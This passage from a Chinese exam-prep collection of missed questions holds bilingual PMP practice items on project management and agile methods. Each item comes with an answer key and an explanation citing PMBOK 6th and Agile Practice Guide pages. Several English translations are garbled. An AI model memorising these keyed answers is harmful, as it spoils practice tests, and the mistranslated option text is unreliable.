如果控制质量过程期间出现了可能影响项目管理计划任何组成部分或项目文件的变更,项目经理应提交变更请求,且应该通过实施整体变更控制过程对变更请求进行审查和处理。 质量不能没标准,发现漏了,要通过变更流程补进去。 127、 [多选] 由于客户认为项目不满足要求,因此不愿对项目签字同意。客户希望对某些可交付成果进行返工,团队不同意,因为这不属于约定项目需求的组成部分。项目经理应该做什么?The client is unwilling to sign the project because the client believes that the project does not meet the requirements. The client wants to rework some deliverable. The team does not agree because this is not part of the agreed project requirements.What should the project manager do?  A : 审查验收标准和其他项目输出文件 Review the acceptance criteria and other project output documents  B :让团队遵守客户要求,对可交付成果进行返工 Have the team comply with customer requirements and rework deliverable  C :要求团队确定未满足需求的原因 Ask the team to determine the cause of the unmet need  D :请求额外资金以满足对可交付成果进行返工的要求 Request additional funding to meet rework requirements for deliverable 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P165 章节:5.5.1.1 范围基准: 用范围基准与实际结果比较,以决定是否有必要进行变更、采取纠正措施或预防措施。 客户说不满足,团队成员说满足。说明把客户需求转为验收标准的过程出了问题。 128、 [多选] 一个开发新药的安全性和有效性可视化的项目正在进行中。Scrum被选为开发方法。在第三次冲刺的中途,项目团队成员发现所提供的数据缺少一个强制性参数。在项目计划期间,获得不完整数据的风险被提前识别并记录在风险登记册中。什么时候是使这个问题浮出水面的最合适的方法?A project to develop visualizations of the safety and efficacy of a new drug is underway. Scrum has been selected as the development approach. Midway into the third sprint, a project team member finds that the data provided is missing a mandatory parameter. The risk of getting incomplete data was identified and recorded in the risk register earlier, during project planning. When would be the most appropriate approach to surface this problem?  A :问题应作为主题包含来在下次冲刺回顾上进行讨论 The problem should be included as a topic for discussion at the next sprint retrospective.  B : 团队成员应在每日Scrum会议上将问题作为障碍提出来 The team member should raise the issue as an impediment during the daily scrum meeting.  C :在冲刺审查中应演示具有缺失参数的产品增量 The product increment with the missing parameter should be demonstrated at the sprint review.  D :已实现的风险应触发并由规划风险应对过程解决 The realized risk should trigger and be addressed by the Plan Risk Responses process. 正确答案:B 你的答案:B 解析:知识点出处: 敏捷实践指南 页码:P53 章节:5.2.4 每日站会:• 上次站会以来我都完成 了什么? • 从现在到下一次站会, 我计划完成什么? • 我的障碍(或风险或 问题)是什么? 每日站会会提出问题或风险或障碍 129、 [多选] 在即将到来的敏捷项目中,执行组织雇佣了来自不同国家但使用相同语言的开发人员。团队将被安排在同一地点,并且项目经理理解在文化多样性的情况下,提供一个有效沟通和协作的环境将是项目成功的一个重要因素。对项目经理来说,最好的行动方案是什么?For its upcoming agile project, the performing organization has hired developers of various nationalities but speaking a common language. The team will be colocated, and the project manager understands that given the cultural diversity, providing an environment of effective communication and collaboration will be an important factor in project success. What is the best course of action for the project manager  A :设置虚拟沟通工具 Set up virtual communication tools  B : 为团队提供作战室 Provide the team with a war room  C :只配置私人办公区域不设立公共办公区域 Utilize only caves from the caves and common  D :结合使用Scrum of Scrums Incorporate the use of a scrum of scrums 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P339 章节:9.4.2.1 集中办公:集中办公是指把许多或全部最活跃的项目团队成员安排在同一个物理地点工作,以增强团队工作能力。实施集中办公策略,可借助团队会议室、张贴进度计划的场所,以及其他能增进沟通和集体感的设施。 在同一地点, 接下来布置集中办公。 132、 [多选] 项目工作已经完成,且可交付成果已获验收。在项目的质保期内,识别到一个影响环境的缺陷。谁应该负责解决这个问题?The project work has been completed and the deliverable have been accepted. During the project warranty period, a defect affecting the environment was identified. Who should be responsible for solving this problem?  A :项目经理 Project manager  B :环境部门 Environment department  C :项目发起人 Project sponsor  D : 运营部门 Operation department 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P127 章节:4.7.3.2 项目交付的产品、服务或成果: 可转交给另一团队或组织,并由其在整个生命周期中进行运营、维护和支持。 本输出所指的正是把项目交付的最终产品、服务或成果(对 于阶段收尾,则是所在阶段的中间产品、服务或成果)从一个团队转交到另一个团队。 完成项目, 把项目移交出去给运营团队。 134、 [多选] 一家公司总是在项目管理上使用预测法,但是现在项目管理办公室想要结合一些敏捷的最佳实践来产生更早的收益实现。项目经理即将开始为新项目做计划,她担心项目团队不具备在混合环境中工作的能力。项目经理的最佳行动方案是什么?A company has always utilized a predictive approach to project management, but now the project management office wants to incorporate some agile best practices to generate earlier revenue realization. The project manager is about to begin planning for the new project and is concerned that the project team is not equipped to work in a hybrid environment. What is the project manager's best course of action?  A :授权团队自我组织和学习敏捷最佳实践 Empower the team to self-organize and study agile best practices  B : 向项目管理办公室(PMO)申请培训 Request the training from the project management office (PMO  C :将团队敏捷技能不足的风险添加到风险登记册 Add the risk of the team's inadequate agile skills to the risk register  D :审查敏捷最佳实践的经验教训知识库 Check the lessons learned repository for agile best practices 正确答案:B 你的答案:B 解析:知识点出处: 敏捷实践指南 页码:P82 章节:6.6.3 敏捷PMO的服务:通过培训和指导发展人才 过渡期间应该安排专业的敏捷培训。 135、 [多选] 在敏捷迭代中,由于意外的挑战,任务1无法按时完成。项目中的另一个团队依赖于任务1的及时完成以完成他们的项目部分。项目经理应该如何解决这个问题?During an agile iteration, Task 1 cannot be completed on time due to unexpected challenges. Another team within the project is depending on timely completion of Task 1 in order to fulfill their part of the project. How should the Project Manager resolve this issue?  A :分别与两个团队会面,让他们想出一个方法来满足要求的最后期限并按时完成项目 Meet with both teams separately and ask them to figure out a way to meet the required deadlines and complete the project on time  B : 与产品负责人会面,重新确定迭代待办事项列表的优先级,以免影响其他团队或义务 Meet with the product owner to reprioritize the iteration backlog so that it does not impact other teams or obligations  C :增加项目团队的成员数量,并增加迭代长度,以确保工作将按照进度计划完成 Increase the number of team members for the project team and increase the iteration length ensuring that the work will be completed according to schedule  D :让团队成员知道你希望他们在困难条件下尽最大努力,并确保在经验教训中注意迭代的挑战 Let team members know you want them to do their best under difficult circumstances, and make sure to note the iteration's challenges in lessons learned 正确答案:B 你的答案:B 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner: 创建待办列表并排序、 确认工作优先顺序、 提供反馈 、指导开发方向 本次迭代已经结束,下次迭代是解决问题还是做新任务, 需要PO给出优先级。 136、 [多选] 你正在为一个将使用敏捷方法进行产品开发的项目制定项目管理计划。你希望确保关键的相关方在项目的整个过程中都能了解交付的业务价值。 你的最佳行动方案是什么?(选择三个)You are in the process of developing the project management plan for a project which will use agile methods for product development. You want to ensure that the key stakeholders will be kept apprised of the business value delivered throughout the course of the project. What is your best course of action? (Choose three)  A :等到项目结束时,向相关方展示项目可交付成果 Wait until the end of the project to demonstrate the project deliverables to the stakeholders  B : 邀请相关方参加定期的迭代评审会议 Invite the stakeholders to attend the regular iteration review meetings  C :根据项目待办事项列表中每个项的业务值分配故事点 Assign story points based on the business value for each item in the project backlog  D : 利用信息发射器,如看板和燃烧图表。 Utilize information radiators such as a Kanban board and burn charts.  E : 确保沟通管理计划指定定期向相关方报告项目状态。 Ensure the communications management plan specifies periodic project status reporting to the stakeholders 正确答案:B,D,E 你的答案:B,D,E 解析:知识点出处: 敏捷实践指南 页码:P55 章节:5.2.5 展示/评审: 当团队以用户故事的形式完成特定功能时,团队会定期展示工作产品。 看过展示后,产品负责人接受或拒绝故事。 A是传统项目 C是PO做的 137、 [多选] 一位新的项目经理最近在他们当前的组织中结束了一个项目。新项目经理使用了他们之前公司的最终项目报告格式,一位相关方评论说,虽然缺少了几条关键信息,但他们更喜欢这种格式。项目经理下一步应该做什么?A new project manager recently ended a project in their current organization. The new project manager used the format of the final project report of their previous company, and a related party commented that although a few key pieces of information were missing, But they prefer this format.What should the project manager do next?  A :向其他项目经理提供报告的副本,并鼓励他们使用该报告 Provide copies of the report to other project managers and encourage them to use the report  B : 使用批准的格式重新编写报告,然后与他们的经理讨论如何改进报告 Rewrite the report using an approved format and then discuss with their manager how to improve the report  C :考虑项目收尾完成的报告,并将该报告的副本存档 Consider a report on the completion of the project and archive a copy of the report  D :与项目团队开会,以审查项目报告格式并获得反馈意见 Meeting with the project team to review the project report format and get feedback 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P124 章节:4.7.1.2 项目管理计划的所有组成部分均为本过程的输入报告格式需要与计划保持一致。若有变更,需要走变更流程。 138、 [多选] 项目经理安排一次会议,让Scrum项目团队进行反思和调整。与会者在这次会议上最可能做什么?A project manager schedules a meeting for the scrum project team to reflect and adapt. What will the participants be most likely doing at this meeting?  A :向客户演示产品增量 Demonstrating the product increment to the customer  B :为下次冲刺选择用户故事 Selecting user stories for the next sprint  C :讨论正在进行的工作和阻碍进展的障碍 Discussing the on-going work and impediments to progress  D : 寻找对团队过程的任何改进 Looking for any improvements to the team's process 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P50 章节:5.2.1 回顾总结会: 回顾是最重要的一个实践,原因是它能让团队学习、改进和调整其 过程。 回顾会三件事:总结经验 过程改进 提出计划 142、 [多选] 项目经理正在制定一个项目计划。项目赞助人得知后,立即让项目经理针对项目成本开展初始粗略评估,以满足未来财政预算的需求。 项目经理采用下列哪一项评估项目成本?The project manager is developing a project plan, on short notice project sponsor asks the project manager to create an initial rough estimate of project cost to satisfy requirements for the upcoming fiscal budget. The project manager uses which of the following for estimating the project cost?  A :自下而上估算 Bottom-up estimating  B :三点结算 Three-point estimating  C : 类比估算 Analogous estimating  D :建立参数模型 Parametric modeling 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P244 章节:7.2.2.2 成本类比估算使用以往类似项目的参数值或属性来估算。 项目的参数值和属性包括 (但不限于)范围、成本、 预算、持续时间和规模指标, 类比估算以这些项目参数值 或属性为基础来估算当前项目的同类参数或指标。一般题目中出现粗 略、需要快速估算、量级字眼,都是选 择类比估算 143、 [多选] 作为向敏捷转变的一部分,一个组织为一个项目选择一个试点团队来开发一个软件工具。一位敏捷教练被分配到团队中,在整个过渡过程中指导他们。在最初的几次迭代中,教练与项目经理和团队一起指导他们进行敏捷实践,并将任务分配给团队成员。敏捷教练采用什么最佳行动方案来确定团队是否获得了在没有教练的情况下执行即将到来的迭代所需的技能?As part of its transformation to agile, an organization selects a pilot team for a project to develop a software tool. An agile coach is assigned to the team to guide them throughout their transition. For the first few iterations, the coach works with the project manager and team to coach them on agile practices and assign tasks to the team members. What is agile coach's best course of action to determine if the team has acquired the required skills to perform the upcoming iterations without coaching?  A :参加每日站会 Attend daily standup meetings  B :进行产品演示 Conduct product demonstrations  C : 举行迭代回顾 Hold iteration retrospectives  D :开展团队建设活动 Carry out team building activities 正确答案:C 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P50 章节:5.2.1 回顾总结会: 回顾是最重要的一个实践,原因是它能让团队学习、改进和调整其过程。 开始是敏捷教练分配任务,在回顾会后, 团队成员可以自组织来安排任务、 改进过程。 148、 [多选] 一家公司开发了一种创新的,提升性能的产品设计,已启动一个项目来完成构建产品, 该项目涉及现场和远程团队。若要避免各个团队之间的沟通不畅,项目经理应该做什么?A company has developed an innovative, performance-enhancing product design and has launched a project to complete building the product, which involves field and remote teams.What should a project manager do to avoid poor communication between teams?  A : 使用适当的沟通规划来解决差异 Use appropriate communication planning to resolve differences  B :要求团队接受文化意识培训 Require the team to receive cultural awareness training  C :创建新闻通话以沟通项目决策和状态 Create news call to communicate project decisions and status  D :在不同地点组织团队建设活动 Organize team building activities in different locations 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P377 章节:10.1.3.1 沟通管理计划: 沟通管理计划是项目管理计划的组成部分,描述将如何规划,结构化、执行与监督项目沟通, 以提高沟通的有效性。该计划包括如下信息: • 相关方的沟通需求 遇到远程团队、虚拟团队之类的题目,优先想到沟通 150、 [多选] 项目经理前往另一个国家执行最终可交付成果的上线过程,到达后,项目经理得知,由于任务计划在当地假日期间完成,关键资源将不可用,而延迟上线将使最终项目的交付处于危险之中。若要避免这个问题,项目经理应该在项目开始时完成哪一项工作?The project manager travels to another country to perform the final deliverable on-line process. Upon arrival, the project manager learns that because the task is scheduled to be completed during the local holiday period, key resources will be unavailable, and the delayed on-line will make the final project delivery at risk.To avoid this problem, which task should the project manager complete at the beginning of the project?  A : 创建一份团队日历并围绕该信息创建项目进度计划 Create a team calendar and create a project schedule around that information  B :要求所有团队,无论在哪个国家,均遵循总部的日历 Require all teams, regardless of country, to follow the headquarters calendar  C :制定加班预算以补偿在假期工作的资源 Develop an overtime budget to compensate for resources that work during the holidays  D :记录风险登记册中包含各个国家日历的影响 Record the effect of the national calendar in the risk register 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P323 章节:9.2.1.2 资源日历: 资源日历识别了每种具体资源 可用时的工作日、班次、正常营业的上下班时间、周末和公共假期。在规划活动期间,潜在的可用资源信息(如团队资源、设备和材料)用于估算资源可用性。资源日历还规定了在项目期间确定的团队和实物 资源何时可用、可用多久。 何时可用、 可用多久 152、 [多选] 项目执行阶段,发现一个子团队没有为约定的项目目标工作。项目经理应该查阅哪份文件?During the project execution phase, it is discovered that a sub-team is not working toward agreed-upon project goals. What document should the project manager consult?  A :项目管理计划 Project management plan  B :资源分解结构(RBS) Resource breakdown structure (RBS)  C :项目章程 Project charter  D : 资源管理计划 Resource management plan 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P318 章节:9.1.3.1 资源管理计划——角色与职责: • 角色 • 职权 • 职责 • 能力 子团队的工作职责不清,需要看资源管理计划。 157、 [多选] 项目经理资源有限,无法获得更多资源。项目经理应该使用什么技术来充分利用现有资源,而不会令项目完成时间延期?A project manager has limited resources and is unable to obtain more. What technique should the project manager use to fully exploit the existing resources without delaying project completion?  A :快速跟进 Fast tracking  B :赶工 Crashing  C : 资源平滑 Resource smoothing  D :资源平衡 Resource leveling 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P211 章节:6.5.2.3 资源优化: 资源平衡,改变关键路径。 资源平滑,不改变关键路径。 题干提到不能让项目延期, 因此只能选择资源优化。 158、 [多选] 一个敏捷团队正处于冲刺中,此时发起人要求项目经理停止当前冲刺中几个用户故事的工作。由于最近发布的一项新技术即将上市,发起人倾向于认为这些用户故事没有什么价值。项目经理应该做什么?An agile team is in the middle of a sprint when the sponsor asks the project manager to stop work on several user stories in the current sprint. With a recent news announcement of new technology soon to hit the market, the sponsor is inclined to think that these user stories would be of little value. What should the project manager do?  A :从冲刺待办事项列表移除发起人指定的用户故事 Remove the user stories indicated by the sponsor from the sprint backlog  B :忽略发起人意见,并指示团队按原计划进行 Ignore the sponsor's input and instruct the team to proceed as originally planned  C : 联系产品负责人,询问用户故事是否仍具有优先级 Contact the product owner and ask if the user stories are still a priority  D :进行市场调查以确认新技术的发布 Conduct market research to confirm the announcement of the new technology 正确答案:C 你的答案:C 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner :创建待办列表并排序、 确认工作优先顺序 、提供反馈、 指导开发方向。 优先级的问题, 应该听PO的。 159、 [多选] 项目经理被分配到一个项目,该项目将把一个大型组织从预测环境转变为敏捷方法。在当前状态下,组织中的工作被分解成部门孤岛,而员工好被描述为专门的贡献者。这种敏捷转换的最佳策略是什么?A project manager has been assigned to a project that will transform a large organization from a predictive environment to agile methodologies. In its current state, the work in the organization is decomposed into departmental silos, and the employees are best described as specialized contributors. What is the best strategy for this agile transformation?  A : 使用混合生命周期作为预测到敏捷的过渡策略 Use hybrid life cycles as a transition strategy from predictive to agile  B :为所有从预测性到敏捷的项目建立一个固定的日期 Establish a fixed date for all projects to transition from predictive to agile  C :介绍一些针对大型复杂项目的敏捷技术 Introduce some agile techniques on a large and complex project  D :调整项目,使其范围是固定的,时间和成本是可变的 Tailor projects so that the scope is fixed with time and cost being variable 正确答案:A 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P47 章节:4.3.7 克服组织孤岛:孤岛组织往往给跨职能敏捷团 队的组建带来重重障碍。需要构建跨职能团队的团队成员通常需要向不同的管理人员报告,管理人员会采用不同的标准衡 量他们的绩效。管理人员需要关注的不是资源利用效率, 而是过程效率(和基于团队的指标)。 孤岛式组织不利于敏捷,因此建议先以混合型开发方法过渡, 后面再到完全敏捷。 160、 [多选] 在编制项目章程用于批准时,项目经理发现有两名相关方对关键可交付成果的期望有冲突。若要解决期望冲突问题并完成项目章程,项目经理应该首先做什么?When the Project Charter is prepared for approval,the project manager finds that there are conflicts between the two stakeholders concerning the expectations of key deliverables. What should the project manager do first to resolve the expected conflicts and complete the Project Charter?  A : 与关键相关方一起召开一个问题解决会 To hold a problem solving meeting with key stakeholders  B :将该问题上报给项目发起人 To report the issue to the Project Sponsor  C :使用专家判断来决定可交付成果 To use experts' judgement to determine deliverables  D :在章程中减少可交付成果用于后期定义 To reduce deliverables in the Charter for later definition 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P80 章节:4.1.2.3 引导式研讨会:引导是指有效引导团队活动成功以达成决定、解决方案或结论的能力。引导者确保参与者有效参与,互相理解,考虑所有意见,按既定决策流程全力支持得到的结论或结果,以及所达成的行动计划和协议在 之后得到合理执行。 引导式研讨会能够达成决定、解决方案或结论。 161、 [多选] 项目经理建议为一个软件开发团队提供单元测试技术培训,该技术可以在编码阶段应用。另外,项目经理建议在软件开发期间采购一台服务器来运行测试用例。这个例子是什么?A project manager suggests training a software development team on until testing techniques that can be applied during the coding phase.In addition, the project manager recommends the procurement of a server to run test cases during software development. Of what is this an example?  A :质量管理预算 Quality management budget  B : 预防成本 Prevention costs  C :评价成本 Appraisal costs  D :软件测试预算 Software testing budget 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P282 章节:8.1.2.3 质量成本: 预防成本。预防特定项目的产品质量低劣所带来的相关 成本。 评估成本。评估、测量、审计和测试特定项目的产品所 带来的相关成本。 失败成本(内部/外部)。因产品与相关方需求不一致而导致的相关成本。 测试本身是评估成本,但是购买设备是预防成本。 163、 [多选] 几个星期以来,项目经理一直报告项目在正常进行中,现在却突然报告项目滞后于进度计划,项目经理意识到某个项目风险管理不当,且其负责人在不同时区远程工作。项目经理应当更加注意下列哪一项?For several weeks, the project manager has been reporting that the project is progressing normally, but now suddenly reports that the project lags behind the schedule, the project manager realizes that the risk management of a certain project is improper, and its leader works remotely in different time zones.Project managers should pay more attention to which of the following?  A : 资源过度承诺和沟通不畅 Over commitment of resources and poor communication  B :包容性和资源隔离不足 Inclusiveness and insufficient resource isolation  C :语言障碍和缺乏问责制 Language barriers and lack of accountability  D :项目发起人的指导不足 Insufficient guidance from project sponsors 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P377 章节:10.1.3.1 沟通管理计划: 沟通管理计划是项目管理计划的组成部分,描述将如何规划,结构化、执行与监督项目沟通, 以提高沟通的有效性。该计划包括如下信息: • 相关方的沟通需求 遇到远程团队、虚拟团队之类的题目,优先想到沟通 164、 [多选] 一个使用多个供应商的项目估计将在两年内完成。在第一年结束时,发现存在重大预算超支。项目经理意识到必须将项目重新拉回控制,因此签发一项变更请求。若要支持这项变更请求,项目经理应该做什么?A project that uses several vendors is estimated to complete in two years.At the end of the first year,a significant budget overrun is identified that project must be brought back under control,the project manager issues change request.What should the project manager do to support the change request?  A :更新变更控制过程 Update the change control progresses  B :完成质量审计 Complete a quality audit  C :召开风险研讨会 Conduct a risk workshop  D : 执行根本原因分析 Perform a root cause analysis 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P111 章节:4.5.2.2 根本原因分析关注识别问题的主要原因,它可用于识别出现偏差的原因以及项目经 理为达成项目目标应重点关注的领域。 注意监控过程组六个数据分析的工具,根本原因分析为其之一。 167、 [多选] 在项目开工会议期间,一个相关方公开反对该项目在组织内的必要性和优先级。项目经理下一步应该做什么?During a project kick-off meeting,one stakeholder openly rejects the project's necessity and priority within the organization. What should the project manager do next?  A :在相关方登记册中记录该相关方的评估 Document the stakeholder's assessment in the stakeholder register  B :将该相关方的问题升级上报给项目发起人 Escalate the stakeholder's concern to the project sponsor  C :了解该相关方的立场,并更新风险登记册 Gain an understanding of the stakeholder's position,and update the risk register  D : 考虑该相关方的立场,并制定相关方参与计划 Consider the stakeholder's position,and develop the stakeholder engagement plan 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P522 章节:13.2.3.1 相关方参与计划: 是项目管理计划的组成部分。它确定用于促进相关方有效参 与决策和执行的策略和行动。 相关方参与计划可包括(但不限于)调动个人或相关方参与 的特定策略或方法。 遇抵制,找相关方参与计划。 169、 [多选] 项目的最新迭代比第一次迭代要好得多。一些人认为这是因为交流的增加。另一些人则将此归功于社交媒体策略的变更。而另一些人则认为这是由于加入了一个培训课程。项目经理该做什么才能使下次迭代更加成功?The latest iteration in the project went far better than the first iteration. Some claim it was the increased communication. Others credit the change in the social media strategy. While others feel it was due to the inclusion of a training course. What should the project manager do to make the next iteration even more successful?  A :在下次迭代中包括另一个培训课程 Include another training course in the next iteration  B : 更新奏效的经验教训登记册 Update the lessons learned register with what worked well  C :在下次迭代中双倍沟通 Double the communications in the next iteration  D :增加社交媒体工具在下次迭代中的使用 Increase the usage of the social media tools in the next iteration 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P104 章节:4.4.3.1 经验教训登记册: 经验教训登记册可以记录遇到的挑战、问题、意识到的风险和机会,或其他适用的内容。经验教训登记册在早期创建,在整个项目期间,它可以作为 很多过程的输入,也可以作为输出而不断更新。 经验教训改善未来绩效,因此参考经验教训,一般不会 犯过去的错误。 170、 [多选] 你向项目出资人提供了项目的成本估算,他对估算不满意,因为他认为价格太高了。他要你削减项目估算的15%,你该怎么做?You provide a project cost estimate to the project sponsor. He is unhappy with the estimate, because he thinks the price should be lower. He asks you to cut 15 percent off the project estimate. What should you do?  A :启动该项目,并不断的节约成本 Start the project and constantly look for cost savings  B :告诉所有团队成员削减其估算的15% Tell all the team members to cut 15 percent from their estimates  C : 告诉出资人要削减的活动 Inform the sponsor of the activities to be cut  D :加入工资率低的额外资源 Add additional resources with low hourly rates 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P247 章节:7.2.3.2 估算依据: 成本估算所需的支持信息的数量和种类,因应用领域而异,不论其细程度如何,支持性文件都应该清晰、完整地说明成本估算是如何得出的。 有清晰明确的估算依据,若发起人认为还要缩减,就需 要缩减项目范围了。 171、 [多选] 一个使用新技术的复杂敏捷项目被技术挑战、不断变更的优先级、严格的截止日期和客户对敏捷交付方法的不熟悉所困扰。这种环境会给团队成员带来压力和挫折。他们中的许多人开始找项目经理,抱怨这些问题。项目经理首先应该做什么?A complex agile project that uses a new technology has been plagued by technical challenges, constantly changing priorities, strict deadlines, and the customer's lack of familiarity with agile delivery methods. This environment causes stress and frustration for the team members. Many of them started to come to see the project manager and complain about the issues. What should the project manager do first?  A :提交变更请求 Submit a change request  B : 消除团队成员的挫败感 Absorb the frustration of the team members  C :将问题升级上报给管理层 Escalate the issue to management  D :向产品负责人介绍团队成员 Refer the team members to the product owner 正确答案:B 你的答案:B 解析:知识点出处:敏捷实践指南 页码:P35 章节:4.2.1.2 消除组织障碍: 仆人式领导还应该关注其他冗长的过程,这些过程往往造成瓶颈问题,阻碍团队或组织的敏捷性。可能需要处理的过程或部门的例子包括,财务部门、变更控制委员会或审计部门。仆人式领导可以与他人携手合作,共同质疑和审核他们的过程,为敏捷团队和领导提供支持。 团队促进者消除组织障碍。 173、 [多选] 一家组织执行了电子邮件迁移项目,虽然电子邮件迁移成功,但用户地址簿信息的迁移却不正确,这会影响到该组织的内部沟通。项目经理应该怎么做?An organization implemented an email migration project. Although the email migration was successful, the migration of user address book information was incorrect, which would affect the organization's internal communication. What should the project manager do?  A :向所有相关方解释这种情况,然后就后续步骤达成一致 Explain the situation to all interested parties and then agree on the next steps  B : 确定迁移错误的根本原因 Determine the root cause of the migration error  C :要求项目团队提出纠正措施 Ask the project team to propose corrective actions  D :请求发起人批准延长项目时间 Ask the sponsor to approve the extension of the project 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P111 章节:4.5.2.2 根本原因分析关注识别问题的主要原因,它可用于识别出现偏差的原因以及项目经理为达成项目目标应重点关注的领域。 选项的顺序应该是B-C-A 174、 [多选] 一个大型复杂项目的项目经理了解到,一位关键相关方反对在项目后期批准的变更,项目经理不愿冒犯这位相关方,但也不希望延迟该项目。项目经理应该做什么?The project manager of a large and complex project learned that a key party was opposed to changes approved later in the project, and the project manager was unwilling to offend the party, but did not mean to delay the project.What should the project manager do?  A :与该相关方一起审查沟通管理计划 Review the communication management plan with the interested party  B :取消已批准的变更,以满足相关方的要求 Cancel approved changes to meet the requirements of interested parties  C : 让相关方参考变更日志,以显示变更批准 Have interested parties refer to the change log to show change approval  D :与相关方一起讨论相关方参与计划 Discuss the stakeholder participation plan with the stakeholder 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P120 章节:4.6.3.3 变更日志: 变更日志用于记录项目期间发生的变更。 变更已审批,并记录在变更日志中。因此要看变更日志。 D,应该项目经理审查,而不是和相关方审查。 175、 [多选] 一位项目经理领导着一个六人的敏捷团队。团队当前的速度和待办事项列表中剩余的故事点的数量表明项目趋向于满足进度基准。在项目执行的中途,项目发起人通知三名团队成员被重新分配到一个新的更高优先级的项目,并且不会被替换。项目经理接下来应该做什么?A project manager is leading a six-member agile team. The team's current velocity and the number of story points remaining in the backlog indicate that the project is trending to meet the schedule baseline. Midway into project execution, the project sponsor informs that three team members are being reassigned to a new higher priority project and will not be replaced. What should the project manager do next?  A :向发起人提供一份正式的信函,说明项目已经终止,因为用剩余的资源实现项目目标并不现实 Provide the sponsor with a formal letter that the project is terminated since achieving the project objectives is unrealistic with the remaining resources  B :请求剩余的团队成员再跑三次冲刺,以确定新的速度,这样就可以估算新的项目完成日期 Request the remaining team members to run three more sprints to determine a new velocity so that a new project completion date can be estimated  C :要求加班并为剩余的团队成员分配奖金,以弥补差距并确保项目目标的实现 Mandate the use of overtime and allocate bonuses for the remaining team members to bridge the gap and ensure that the project objectives are met  D : 根据剩余的资源提交变更请求来修改进度和/或范围基准,并评估如何继续进行的选项 Submit a change request to revise the schedule and/or scope baseline based on the remaining resources and evaluate the options on how to proceed 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P229 章节:6.6.3.3 变更请求:通过分析进度偏差,审查进展报告、绩效测量 结果和项目范围或进度调整情况,可能会对进度基准、范围基准和/或项目管理计划的其他组成部分提出变更请求 。 确定不给资源,进度一定会受影响,因此要重新评估后提出变更。若是纯敏捷,可以考虑B选项。 177、 [多选] 一个敏捷团队举行了一次发布回顾。讨论的重点是在软件发布之前的几周内发生的一些破坏性风险事件。这些风险很难解决,并威胁到发行日期。风险在发布计划的早期就已经确定了,但是与对客户来说价值相对较低的用户故事相关联。为了避免这些风险在离预定发布日期这么近的时候发生,我们应该做什么呢?An agile team holds a release retrospective. The discussion is focused on some disruptive risk events that occurred in the last few weeks, just before the software has been released. The risks were difficult to resolve and threatened the release date. The risks were identified early in release planning but were associated with user stories that were relatively low in value to the customer. What could have been done to avoid having these risks occur so close to the scheduled release date?  A :应该批准加班,并在发布前几周增加资源,以减轻高风险用户故事的影响 Overtime should have been authorized, and resources added in the weeks leading up to the release to mitigate the impact of the high-risk user stories.  B :产品负责人应该更勤奋地在待办事项列表中编写用户故事,以便将风险降到最低或完全消除 The product owner should have been more diligent in writing the user stories in the release backlog so that the risk is minimized or removed completely  C :真的没有什么可以避免所描述的问题,因为风险事件总是发生在预定的发布日期之前 There is really nothing that could have been done to avoid the issue described because risk events always occur just before the scheduled release date.  D : 产品负责人可以在产品待办事项列表中提前而不是推迟完成高风险用户故事 The product owner could have scheduled the completion of high-risk user stories in the product backlog sooner rather than later in the release cycle. 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P42 章节:4.3.3 风险价值矩阵:产品负责人的工作是确保团队从事最高价值的工作。 首先要做高风险高价值的事情。 178、 [多选] 一位新团队成员在一个月前加入团队,并接受了资源管理计划中规定的必要培训,这位新团队成员无法按时完成分配的任务,从而影响到团队绩效。项目经理下一步应该怎么做?A new team member joined the team a month ago and received the necessary training as specified in the resource management plan. The new team member was unable to complete the assigned tasks on time, which affected the team's performance. How to do it?  A :增加所需的额外培训并更新资源管理计划 Increase additional training required and updating the resource management plan  B :将问题升级上报给管理层,要求将该团队成员调到另一个项目,并找到一位经验更丰富的资源作为替代 Escalate the problem to management, request that the team member be transferred to another project, and find a more experienced resource as an alternative  C : 与该团队成员讨论这个问题,并一致达成一项具有可测量纠正措施的行动计划 Discuss the issue with the team members and agree on an action plan with a measurable corrective action  D :在下一次计划的绩效评估中解决该团队成员的培训需求 address the training needs of the team members in the next planned performance evaluation 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P342 章节:9.4.2.6 培训:项目经理应该按资源管理计划 中的安排来实施预定的培训, 也应该根据管理项目团队过程中的观察、交谈和项目绩效评 估的结果,来开展必要的计划外培训 。 培训完还是绩效不好, 需要找他面谈,找到原因并提供解决措施,必要时开展计划外培训。 ### 【旧版】PMP模拟三错题集 下面的题目是2022年6月24日考试之前的题目,也就是敏捷改版前的题目。 38、 项目团队成员来自于多个部门,并将处理项目和运营活动,任务和资源均已确定。若要确保资源,项目经理应做什么?Project team members come from multiple departments and will handle project and operational activities, tasks and resources have been determined. What should the project manager do to ensure resources?  A :要求职能经理为项目提供可用资源 Ask the functional manager to provide available resources for the project  B : 与职能经理协商项目的资源和角色 Negotiate project resources and roles with functional managers  C :联系资源,沟通任务,并与职能经理确认 Contact resources, communicate tasks, and confirm with functional manager  D :将资源需求发送给发起人以与职能经理协商 Send resource requirements to the sponsor to negotiate with the functional manager 正确答案:B 你的答案:C 